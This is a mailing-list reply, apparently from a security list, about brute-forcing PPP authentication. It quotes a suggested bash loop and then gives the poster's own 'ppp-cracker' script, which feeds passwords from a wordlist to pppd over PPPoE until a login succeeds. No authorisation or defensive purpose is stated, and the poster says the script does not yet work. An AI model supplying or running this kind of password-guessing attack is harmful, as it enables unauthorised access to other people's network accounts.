RE: PPP authentication brute-force attack?

[Matheus Michels <matheusf_michels () hotmail com>]

> What about something like that (didn't try it):
>
> while read passwd; do
>    pppd call pppd-options password "$passwd"
>    if [ $? -eq 0 ]; then
>      echo "Found password: $passwd"
>      break
>    fi
> done < /path/to/password-file
>
> where "pppd-options" is a file containing pppd's options, and 
> "password-file" contains the passwords, one per line.
>
> You probably need the following options in "pppd-options":
>
> nodetach
> maxconnect 5


This is exactly what I wanted. I made this little script based on yours:

#!/bin/bash

SETSID=/usr/bin/setsid
PPPD=/usr/sbin/pppd
PPPOE=/usr/sbin/pppoe

PPPD_OPTIONS="noipdefault noauth default-asyncmap defaultroute hide-password nodetach usepeerdns mtu 1492 mru 1492 
noaccomp noccp nobsdcomp nodeflate nopcomp novj novjccomp lcp-echo-interval 30 lcp-echo-failure 3 pap-max-authreq 2 
pap-restart 3 maxconnect 5"
PPPOE_OPTIONS="-I eth0"

PASSWORDS=/home/matheus/pass.txt

if test "$1" = "" ; then
    echo "$0: Usage: ppp-cracker user">& 2
    exit 1
fi

while read passwd; do
   $SETSID $PPPD pty "$PPPOE $PPPOE_OPTIONS" $PPPD_OPTIONS user "$1" password "$passwd"
      if [ $? -eq 0 ]; then
           echo "Found password: $passwd"
           break
      fi
done < $PASSWORDS


I've copied some parts from the adsl-start and adsl-connect scripts. Actually, the script is not functional yet. It 
authenticates and, some seconds later, exits with an input/output error. But I'm doing some changes based on the 
scripts shipped with RP-PPPOE and I'm almost getting the script to work.

Thank you very much!

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